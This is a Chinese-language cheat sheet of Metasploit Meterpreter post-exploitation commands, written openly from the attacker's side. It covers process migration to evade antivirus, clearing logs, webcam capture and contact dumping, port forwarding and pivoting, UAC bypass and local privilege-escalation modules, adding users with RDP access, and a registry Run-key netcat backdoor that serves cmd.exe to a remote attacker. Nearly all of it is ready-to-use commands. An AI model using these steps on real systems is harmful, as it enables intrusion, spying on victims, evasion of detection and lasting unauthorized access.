Bootstrap

metasploit上线之后可以使用的命令

1. 通用控制命令 

meterpreter > essions -k 1             # 通过ID号杀死一个会话
meterpreter > background               # 将会话放入后台
meterpreter > getuid/getpid            # 查询用户权限与PID
meterpreter > sysinfo                  # 查看目标系统信息
meterpreter > ps                       # 查目标主机进程
meterpreter > kill PID                 # 杀死目标制定进程
meterpreter > getsystem                # 尝试令牌提权
meterpreter > shell                    # 进入目标shell环境

meterpreter > enumdesktops             # 查看可用的桌面
meterpreter > getdesktop               # 获取当前meterpreter关联的桌面
meterpreter > set_desktop              # 设置meterpreter关联的桌面
meterpreter > screenshot               # 截屏
meterpreter > run vnc                  # 使用vnc远程桌面连接

meterpreter > uictl disable mouse      # 禁用目标鼠标
meterpreter > uictl enable keyboard    # 开启目标键盘

meterpreter > webcam_list              # 查看目标主机摄像头
meterpreter > webcam_snap              # 摄像头拍照
meterpreter > webcam_stream            # 开启目标主机摄像头
meterpreter > clearav                  # 销毁日志文件

meterpreter > webcam_stream -i 1/2     # 打开前置或后置摄像头
meterpreter > check_root               # 检测root
meterpreter > dump_calllog             # 下载电话记录
meterpreter > dump_contacts            # 下载信息记录
meterpreter > geolocate                # 谷歌地图定位

2.Migrate进程迁移

进程迁移技术允许攻击者将Meterpreter客户端从当前进程中迁移到另一个进程中。这可以避免检测软件识别Meterpreter客户端,并对其进行清除。此外,进程迁移还可以帮助攻击者隐藏其所在的进程,以避免被检测

meterpreter > execute                  # 在目标机器中执行文件
meterpreter > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互

meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID              # 通过PID号迁移进程

3.文件查阅与传输

Meterpreter 还具有文件查阅与远程文件传输功能。这些功能允许攻击者查看受害者计算机上的文件,并传输文件到受控机器。

meterpreter > getwd                                # 查看当前工作目录
meterpreter > search -f *filename*                 # 搜索文件
meterpreter > cat c:\\lyshark.log                  # 查看文件内容
meterpreter > upload /tmp/shell.exe C:\\shell.exe  # 上传文件到目标机
meterpreter > download c:\\shell.exe /tmp/         # 下载文件到本机上
meterpreter > edit c:\\lyshark.log                 # VIM编辑或创建文件
meterpreter > rm C:\\lyshark.log                   # 删除文件
meterpreter > getlwd                               # 看肉鸡当前目录
meterpreter > lcd /tmp                             # 切换目录

4.端口转发与扫描

# 网络参数采集
meterpreter > ifconfig        # 查询肉鸡IP地址
meterpreter > netstat -antp   # 查询目标网络连接
meterpreter > arp -a          # 查询目标ARP缓存
meterpreter > getproxy        # 查看目标代理信息
meterpreter > route           # 查看目标路由表

# 远端端口扫描
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24           # 扫描192.168.9.0/24网段
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.135 PORTS=3389  # 检测192.168.9.135是否开启3389端口

# 端口转发与端口关闭
meterpreter > portfwd add -l 9999 -p 3389 -r 127.0.0.1   # 将目标机3389端口转发到本地9999
meterpreter > portfwd list                               # 查询当前转发列表
meterpreter > portfwd delete -l 9999                     # 删除本地主机的9999端口映射

# 添加与删除主机路由
meterpreter > run autoroute -p                              # 查询添加的路由记录
meterpreter > run autoroute -s 10.10.10.1 -n 255.255.255.0  # 在目标主机添加一条路由
meterpreter > run autoroute -d -s 10.10.10.1                # 删除目标主机中的路由
meterpreter > run autoroute -s 10.10.10.1/24                # 添加一个路由网段

5.目标主机权限提升

针对目标主机的提权操作有两种情况,读者可使用bypassuac脚本尝试提权,也可使用enum_patches枚举出系统补丁信息,根据不同补丁采用不同的提权脚本实现。

# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run

# 收集目标主机补丁情况
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7

# 尝试采用符合的提权脚本提权
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 1
msf > exploit

6.添加用户与开启远程

# 添加系统用户与开启远程桌面
meterpreter > run getgui -e                                                     # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123                                   # 添加用户
meterpreter > run getgui -f 9999 -e                                             # 3389端口转发到9999

# 启用RDP桌面
meterpreter > run post/windows/manage/enable_rdp                                # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123  # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999        # 将3389端口转发到9999

7.注册表写入后门

通过上传命令将nc.exe后门传输到远程主机,并通过写出currentversion设置开机自启动后门,实现长期权限维持,该功能通常用于后渗透阶段的权限维持。

-d   注册表中值的数据
-k   注册表键路径
-v   注册表键名称

enumkey 枚举可获得的键
setval 设置键值
queryval 查询键值数据

# 上传nc工具到根目录
meterpreter > upload /root/nc.exe C:\\windows\\

# 枚举run下的key
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

# 增加NC后门
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe'

# 查看键值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell

# 攻击者即可链接NC获取Shell
┌──(lyshark㉿kali)-[~]
└─$ nc -v 192.168.1.20 666

;